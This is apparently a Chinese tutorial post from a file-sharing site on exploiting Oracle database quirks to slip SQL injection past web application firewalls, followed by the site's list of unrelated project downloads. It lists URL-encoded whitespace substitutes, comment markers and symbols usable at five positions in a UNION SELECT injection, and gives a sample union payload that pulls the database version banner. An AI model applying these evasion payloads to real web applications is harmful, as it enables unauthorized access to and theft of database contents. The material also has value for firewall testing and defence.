0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Oracle中，比如可以这样：
相比于Mysql/MSsql，它的特性相对较少，但确有其特殊之处，比如空白字符可以用%00替代，一个获取数据库版本
的语句就这么长。一起去探索一下Oracle数据库特性，挖掘能够绕过WAF防护的数据库特性。
0x02 测试
常见有5个位置即： SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】
1,user()【位置四】from【位置五】admin
位置一：参数和union之间的位置
1)空白字符
Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2e . 点号
位置二：union和select之间的位置
1)空白字符
Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
位置三：select和查询参数之间的位置
1)空白字符
Oracle中可以利用的空白字符有： %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2b +
%2d -
%ad
select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version where
rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL
位置四：查询参数和from之间的位置
空白字符：%00
获取数据库版本：SELECT banner FROM v$version where rownum=1
普通网友
- 粉丝: 20
- 资源: 314
最新资源
- 水果系统.rar
- 企业级新闻系统(SSH+MYSQL)130221.rar
- 图片浏览小程序(java+applet)130227.rar
- 通用的在线考试系统(jsp+struts+hibernate+oracle)130220.rar
- 微信文章爬虫项目全套技术资料100%好用.zip
- 单机无穷大系统发生各类(三相短路，单相接地，两相接地，两相相间短路)等短路故障，各类(单相断线，两相断线，三相断线)等断线故障，暂态稳定仿真分析
- 图书管理系统(struts+hibernate+spring).rar
- 图书管理系统(struts+hibernate+spring)130225.rar
- 图书管理系统(struts+hibernate+spring+ext).rar
- 网上订餐系统(struts+spring+hibernate).rar
- 网上订餐系统(struts+spring+hibernate)130221.rar
- 图书管理系统(struts+hibernate+spring+ext)130221.rar
- 网上商城系统(JSP+MYSQL)130220.rar
- 网上商城系统(JSP+MYSQL).rar
- 网上购物系统(JavaBean+Servlet+jsp)130223.rar
- 网上书城系统（Struts+Hibernate+Mysql）130222.rar
资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！
点击此处反馈
评论0